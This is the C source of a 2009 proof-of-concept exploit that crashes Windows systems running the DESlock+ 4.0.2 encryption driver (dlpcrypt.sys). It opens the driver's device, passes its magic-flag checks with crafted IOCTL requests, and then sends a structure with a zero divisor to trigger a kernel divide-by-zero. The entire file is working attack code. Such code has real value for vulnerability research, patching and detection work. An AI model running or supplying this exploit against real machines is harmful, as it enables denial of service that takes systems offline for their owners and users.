/* deslock-dlpcrypt-v2.c
 *
 * Copyright (c) 2009 by <mu-b@digit-labs.org>
 *
 * DESlock+ 4.0.2 local kernel denial of service exploit
 * by mu-b - Thu 18 Jun 2009
 *
 * - Tested on: dlpcrypt.sys 0.1.1.27
 *
 * .text:0001BB2E: 'what do ya want for nothing?'
 *  - hmmm, something that checks all divisors > 0?
 *
 * Compile: MinGW + -lntdll
 *
 * - this exploit is provided for educational purposes _only_. You are free
 *   to use this code in any way you wish provided you do not work for, or
 *   are associated in any way with Portcullis Computer Security Ltd.
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2009!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <windows.h>

#define DLPCRYPT_IOCTL_ENABLED  0x8001200C
#define DLPCRYPT_IOCTL_ADD      0x80012004
#define DLPCRYPT_IOCTL_PROCESS  0x80012010

#define DLPCRYPT_FLAG1          0x13B45FA8
#define DLPCRYPT_FLAG2          0xBFD294C9

struct ioctl_req_enable {
  int flag[2];
  int len;
  int result;
  int enabled;
  char pad[0x38 - 0x14];
};

struct ioctl_req {
  int flag[2];
  int len;
  int result;
  int action;
  struct ioctl_ptr *ptr;
  char pad[0x38 - 0x18];
};

struct ioctl_ptr {
  char pad[0x8];
  struct ioctl_pid *ppid;
  int action;
  char _pad[0x08];
  int div;
  int len_spec;
};

struct ioctl_pid {
  char pad[0x14];
  DWORD pid;
};

int
main (int argc, char **argv)
{
  struct ioctl_req_enable req_enable;
  struct ioctl_req req;
  struct ioctl_ptr ptr;
  struct ioctl_pid pid;
  DWORD rlen;
  HANDLE hFile;
  BOOL bResult;

  printf ("DESlock+ 4.0.2 local kernel denial of service PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2009!@$!\n\n");

  hFile = CreateFileA ("\\\\.\\DLPCryptCore", FILE_EXECUTE,
                       FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
                       OPEN_EXISTING, 0, NULL);
  if (hFile == INVALID_HANDLE_VALUE)
    {
      fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
      exit (EXIT_FAILURE);
    }

  memset (&req_enable, 0, sizeof req_enable);
  req_enable.flag[0] = DLPCRYPT_FLAG1;
  req_enable.flag[1] = DLPCRYPT_FLAG2;
  req_enable.len = sizeof req_enable;

  printf ("* verifying context... ");
  bResult = DeviceIoControl (hFile, DLPCRYPT_IOCTL_ENABLED,
                             &req_enable, sizeof req_enable,
                             &req_enable, sizeof req_enable, &rlen, 0);
  if (!bResult)
    {
      fprintf (stderr, "* DeviceIoControl failed\n");
      exit (EXIT_FAILURE);
    }
  printf ("result: %d, enabled: %d\n", req_enable.result, req_enable.enabled);

  printf ("* adding pid [%d]... ", GetCurrentProcessId ());
  bResult = DeviceIoControl (hFile, DLPCRYPT_IOCTL_ADD,
                             &req_enable, sizeof req_enable,
                             &req_enable, sizeof req_enable, &rlen, 0);
  if (!bResult)
    {
      fprintf (stderr, "* DeviceIoControl failed\n");
      exit (EXIT_FAILURE);
    }
  printf ("done\n");

  memset (&req, 0, sizeof req);
  req.flag[0] = DLPCRYPT_FLAG1;
  req.flag[1] = DLPCRYPT_FLAG2;
  req.len = sizeof req;
  req.action = 4;
  req.ptr = &ptr;

  memset (&ptr, 0, sizeof ptr);
  ptr.ppid = &pid;
  ptr.action = 0;
  ptr.len_spec = 1;
  ptr.div = 0;

  memset (&pid, 0, sizeof pid);
  pid.pid = GetCurrentProcessId ();

  printf ("* req.ptr: 0x%08X\n", &ptr);
  printf ("* @0x%08X: ppid_ptr: 0x%08X, len_spec:  0x%08X\n",
          &ptr, ptr.ppid, ptr.len_spec);

  printf ("* hitting.. ");
  bResult = DeviceIoControl (hFile, DLPCRYPT_IOCTL_PROCESS,
                             &req, sizeof req, &req, sizeof req, &rlen, 0);
  if (!bResult)
    {
      fprintf (stderr, "* DeviceIoControl failed\n");
      exit (EXIT_FAILURE);
    }
  printf ("done\n\n"
          "* hmmm, you didn't STOP the box?!?!\n");

  CloseHandle (hFile);

  return (EXIT_SUCCESS);
}
